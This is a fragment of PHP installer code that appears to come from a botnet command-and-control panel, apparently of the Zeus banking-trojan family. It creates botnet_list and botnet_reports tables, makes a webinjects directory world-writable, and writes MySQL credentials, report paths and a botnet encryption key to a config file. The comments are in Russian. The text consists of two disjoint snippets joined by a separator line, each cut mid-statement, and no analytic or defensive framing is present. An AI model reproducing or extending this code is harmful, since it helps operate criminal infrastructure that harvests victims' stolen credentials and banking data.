\t\tSELECT `bot_id`, "2012-06-01", `rtime_first`, `rtime_last`, 0, 0, 0 \t\tFROM `botnet_list` \t\tWHERE `rtime_first` <= UNIX_TIMESTAMP("2012-06-01");;; SQL; foreach (explode(';;;', $querys) as $id => $q) { if (strlen($q = trim($q))) { if (!mysql_query($q)) { ShowError("Utility query #{$id} error: " . mysql_error()); } } } } # Create writable directories foreach (array('system/data', 'public', 'files', 'files/webinjects') as $path) { if (!$error) { $error = !CreatePath($path, 0); @chmod("../{$path}", 0777); if (!$error && !is_writable("../{$path}")) { ShowError("'{$path}' Must be writable! chmod it to 0777"); } } } //Успешное завершение. if (!$error) { $_OUTPUT .= THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', THEME_STRING_BOLD_BEGIN . ($is_update ? '-- Update complete! --' : '-- Installation complete! --') . THEME_STRING_BOLD_END, THEME_DIALOG_ITEM_SUCCESSED) . THEME_DIALOG_ROW_END; themeSmall(APP_TITLE, $_OUTPUT . THEME_DIALOG_END, 0, 0, 0); die; } $_OUTPUT .= THEME_DIALOG_END . THEME_VSPACE; } ///////////////////////////////////////////////////////////////////////////////////////////////////
if ($error = !UpdateTableEx($rtable, 'botnet_reports')) { break; } } } else { $error = !($is_update ? UpdateTable($table) : CreateTable($table)); } } if ($error) { break; } } } //Создание директории для отчетов. if (!$error) { $error = !CreatePath($pd_reports_path, isset($config['reports_path']) ? $config['reports_path'] : 0); } //Обновление файла конфигурации. if (!$error) { ShowProgress("Writing config file"); $updateList['mysql_host'] = $pd_mysql_host; $updateList['mysql_user'] = $pd_mysql_user; $updateList['mysql_pass'] = $pd_mysql_pass; $updateList['mysql_db'] = $pd_mysql_db; $updateList['reports_path'] = $pd_reports_path; $updateList['reports_to_db'] = $pd_reports_to_db ? 1 : 0; $updateList['reports_to_fs'] = $pd_reports_to_fs ? 1 : 0; $updateList['botnet_timeout'] = (int) ($pd_botnet_timeout * 60); $updateList['botnet_cryptkey'] = $pd_botnet_cryptkey; if (!updateConfig($updateList)) { ShowError("Failed write to config file.");